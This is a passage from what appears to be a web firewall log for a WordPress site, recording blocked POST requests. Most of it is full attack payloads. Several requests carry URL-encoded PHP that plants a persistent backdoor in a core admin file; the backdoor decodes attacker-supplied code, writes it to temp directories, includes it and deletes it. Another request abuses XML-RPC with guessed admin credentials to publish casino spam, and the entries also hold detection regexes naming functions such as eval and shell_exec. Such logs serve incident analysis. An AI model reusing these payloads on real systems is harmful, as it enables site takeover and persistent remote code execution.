0%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:45:46","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:4064\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHKxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nQy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:45:54","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4064\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-encoding:gzip,deflate\n\nDG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:46:01","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:4087\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 16:46:23","128.1.227.233","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Finest Live Web based casinos Better Sites with Genuine Traders inside 2026]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Enjoy Alive Specialist Online game during the PokerStars Local casino<\/a><\/li><li><a href=\"#toc-1\">Old-fashioned Gambling games<\/a><\/li><li><a href=\"#toc-2\">Prepaid Notes<\/a><\/li><li><a href=\"#toc-3\">Only play at the real time gambling enterprises which might be safe and legitimate<\/a><\/li><li><a href=\"#toc-4\">Greatest Web based casinos to have Live Broker Video game<\/a><\/li><\/ul><\/div>\n<p>All the local casino i encourage – each other on this page and you will somewhere else – try regularly checked to have fairness and randomness. <!--more--> ❌ Video game design and you can video game image look old inside the cities ✅ Novel completely-interactive we-Ports show featuring growing storylines and bonus rounds ❌ A number of the online game image and also the game auto mechanics can appear outdated ✅ Optimized to own mobile sense around the android and ios profiles You could potentially bet on many different different alternatives according to the roll from about three half dozen-sided dice, making it a game away from luck and possibly huge earnings.<\/p>\r\n<h2 id=\"toc-0\">Enjoy Alive Specialist Online game during the PokerStars Local casino<\/h2>\r\n<ul><li>BetUS is amongst the better overseas casinos with a fully-fledged sportsbook and you may alive broker local casino lobby.<\/li><li>To play gambling games that have live people will likely be fun and you will fulfilling both for the fresh and you will experienced gamblers.<\/li><li>Gaming inside Southern area Korea are greatly limited, however, many Korean participants properly availableness offshore casinos signed up overseas.<\/li><li>It indicates you can access them without the need to obtain people programs, because of HTML5 technology, which makes live streams viewable right from your internet internet browser.<\/li><li>RFID devices song and you can broadcast game occurrences to help you a central databases, making certain fair gamble and you can transparency.<\/li><\/ul>\n<p>People real time black-jack internet casino we advice will not have one rigged games, while the <a href=\"https:\/\/vogueplay.com\/in\/foxin-wins\/\">https:\/\/vogueplay.com\/in\/foxin-wins\/<\/a> casino games are audited to possess random overall performance and you may equity. An informed real time on the web black-jack websites can give a superior online betting experience. You can even enjoy Super Dice at the particular online real time gambling enterprises, while some render Adventures Past Wonderland. These alive gambling games have a high RTP (Come back to Athlete) price after you apply a correct means, just like 